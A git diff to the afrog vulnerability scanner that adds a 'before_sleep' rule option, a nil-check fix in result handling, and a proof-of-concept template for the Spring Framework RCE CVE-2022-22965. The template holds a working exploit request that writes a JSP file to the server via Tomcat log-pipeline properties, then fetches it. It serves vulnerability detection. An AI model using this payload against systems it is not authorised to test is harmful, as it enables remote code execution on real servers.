diff --git a/afrog-pocs/README.md b/afrog-pocs/README.md index 759ec14e..943ef3e2 100644 --- a/afrog-pocs/README.md +++ b/afrog-pocs/README.md @@ -59,6 +59,7 @@ rules: exppression: response.status == 200 && response.body.bcontains(b'PHP Version') stop_if_match: true r1: + before_sleep: 6 request: method: GET path: /info.php @@ -83,6 +84,8 @@ stop_if_match: 如果匹配就停止 stop_if_mismatch:如果不匹配就停止 +before_sleep: 顾名思义,http 请求前 sleep 6 秒钟 + expression: 最外面的 `expression` 是 `rules` 的验证表达式,`r0() || r1()` 表示 `r0` 和 `r1` 两个规则,匹配一个表达式就为 `true`,代表漏洞存在。 > 如果 rules 表达式都是 `||`关系,比如:r0() || r1() || r2() ... ,默认执行 `stop_if_match` 动作。同理,如果表达式都是 `&&` 关系,默认执行 `stop_if_mismatch` 动作。 diff --git a/afrog-pocs/unreviewed/CVE-2022-22965.yaml b/afrog-pocs/unreviewed/CVE-2022-22965.yaml new file mode 100644 index 00000000..fd6080c0 --- /dev/null +++ b/afrog-pocs/unreviewed/CVE-2022-22965.yaml @@ -0,0 +1,34 @@ +id: CVE-2022-22965 + +info: + name: Spring Framework RCE JDK 9+ + author: zan8in + severity: critical + description: | + srping framework 结合JDK9及以上新版本的特性可以实现对历史漏洞补丁的绕过从而实现远程代码执行 + Fofa: app="vmware-SpringBoot-Framework" + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-22965 + +set: + randTxt: randomInt(800000000, 1000000000) + exploitName: randomInt(800000000, 1000000000) +rules: + r0: + request: + method: POST + path: / + headers: + C2: "<%" + Suffix: "%>" + body: | + class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BC2%7Di%20if(%22j%22.equals(%22j%22))%7B%20out.println(new%20String(%22{{randTxt}}%22))%3B%20%7D%25%7BSuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix={{exploitName}}&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= + expression: response.status == 200 + r1: + before_sleep: 6 + request: + method: GET + path: /{{exploitName}}.jsp + expression: response.status == 200 && response.body.bcontains(b'{{exploitName}}') + +expression: r0() && r1() \ No newline at end of file diff --git a/pkg/core/checker.go b/pkg/core/checker.go index 72901cbc..39a27075 100644 --- a/pkg/core/checker.go +++ b/pkg/core/checker.go @@ -5,6 +5,7 @@ import ( "net/http" "net/url" "strings" + "time" "github.com/google/cel-go/checker/decls" "github.com/zan8in/afrog/pkg/config" @@ -75,6 +76,9 @@ func (c *Checker) Check(target string, pocItem poc.Poc) (err error) { k := ruleMap.Key rule := ruleMap.Value + if rule.BeforeSleep != 0 { + time.Sleep(time.Duration(rule.BeforeSleep) * time.Second) + } utils.RandSleep(500) isMatch := false @@ -94,8 +98,14 @@ func (c *Checker) Check(target string, pocItem poc.Poc) (err error) { c.UpdateVariableMap(rule.Output) } - c.Result.AllPocResult = append(c.Result.AllPocResult, - &PocResult{IsVul: isMatch, ResultRequest: c.VariableMap["request"].(*proto.Request), ResultResponse: c.VariableMap["response"].(*proto.Response)}) + pocRstTemp := PocResult{IsVul: isMatch} + if c.VariableMap["response"] != nil { + pocRstTemp.ResultResponse = c.VariableMap["response"].(*proto.Response) + } + if c.VariableMap["request"] != nil { + pocRstTemp.ResultRequest = c.VariableMap["request"].(*proto.Request) + } + c.Result.AllPocResult = append(c.Result.AllPocResult, &pocRstTemp) if rule.StopIfMismatch && !isMatch { c.Result.IsVul = false diff --git a/pkg/poc/poc.go b/pkg/poc/poc.go index 14d05842..d64ee8c7 100644 --- a/pkg/poc/poc.go +++ b/pkg/poc/poc.go @@ -50,6 +50,7 @@ type Rule struct { Output yaml.MapSlice `yaml:"output"` StopIfMatch bool `yaml:"stop_if_match"` StopIfMismatch bool `yaml:"stop_if_mismatch"` + BeforeSleep int `yaml:"before_sleep"` order int } @@ -59,6 +60,7 @@ type ruleAlias struct { Output yaml.MapSlice `yaml:"output"` StopIfMatch bool `yaml:"stop_if_match"` StopIfMismatch bool `yaml:"stop_if_mismatch"` + BeforeSleep int `yaml:"before_sleep"` } // http/tcp/udp cache 是否使用缓存的请求,如果该选项为 true,那么如果在一次探测中其它脚本对相同目标发送过相同请求,那么便使用之前缓存的响应,而不发新的数据包 @@ -164,6 +166,7 @@ func (r *Rule) UnmarshalYAML(unmarshal func(interface{}) error) error { r.Output = tmp.Output r.StopIfMatch = tmp.StopIfMatch r.StopIfMismatch = tmp.StopIfMismatch + r.BeforeSleep = tmp.BeforeSleep r.order = order order += 1